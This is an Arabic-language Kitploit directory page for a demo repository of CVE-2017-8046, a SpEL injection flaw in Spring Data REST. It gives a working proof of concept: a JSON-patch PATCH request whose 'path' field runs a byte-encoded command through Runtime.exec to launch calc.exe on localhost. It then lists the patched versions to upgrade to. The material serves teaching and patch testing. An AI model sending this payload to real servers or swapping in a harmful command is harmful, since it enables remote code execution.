Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-8046-DEMO — SPRING DATA REST CVE-2017-8046 DEMO | Kitploit
أدوات/GitHubGitHub/lgtm-migrator/cve-2017-8046-demo
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليممختبرات وتدريب عملي
GitHublgtm-migrator/cve-2017-8046-demo

CVE-2017-8046-DEMO

SPRING DATA REST CVE-2017-8046 DEMO

عرض المستودع
منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

spring data rest CVE-2017-8046 demo test

يرجى ترقية Spring Data REST الآن.

الخطوات

  • قم بتشغيل هذا التطبيق

  • أنشئ مثيل اختبار

root@kitploit:~

POST /entityPersons/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Cache-Control: no-cache

{
    "firstName":"f2"
}

  • استخدم حقن spel، سيتم تشغيل C:\Windows\system32\calc.exe
root@kitploit:~
PATCH /entityPersons/1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache

[
    {
        "op":"test", 
        "path":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[] {67, 58, 92, 87, 105, 110, 100, 111, 119, 115, 92, 115, 121, 115, 116, 101, 109, 51, 50, 92, 99, 97, 108, 99, 46, 101, 120, 101} ))", 
        "value":""	
    }
]

الترقية إلى

  • Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
  • Spring Boot 2.0.0.M4
  • Spring Data release train Kay-RC3

يستخدم Spring Boot 1.5.7.RELEASE الإصدار spring data rest 2.6.7، لكن 1.4.x لا يقوم بترقية إصدار spring data rest.

تنزيل الأداة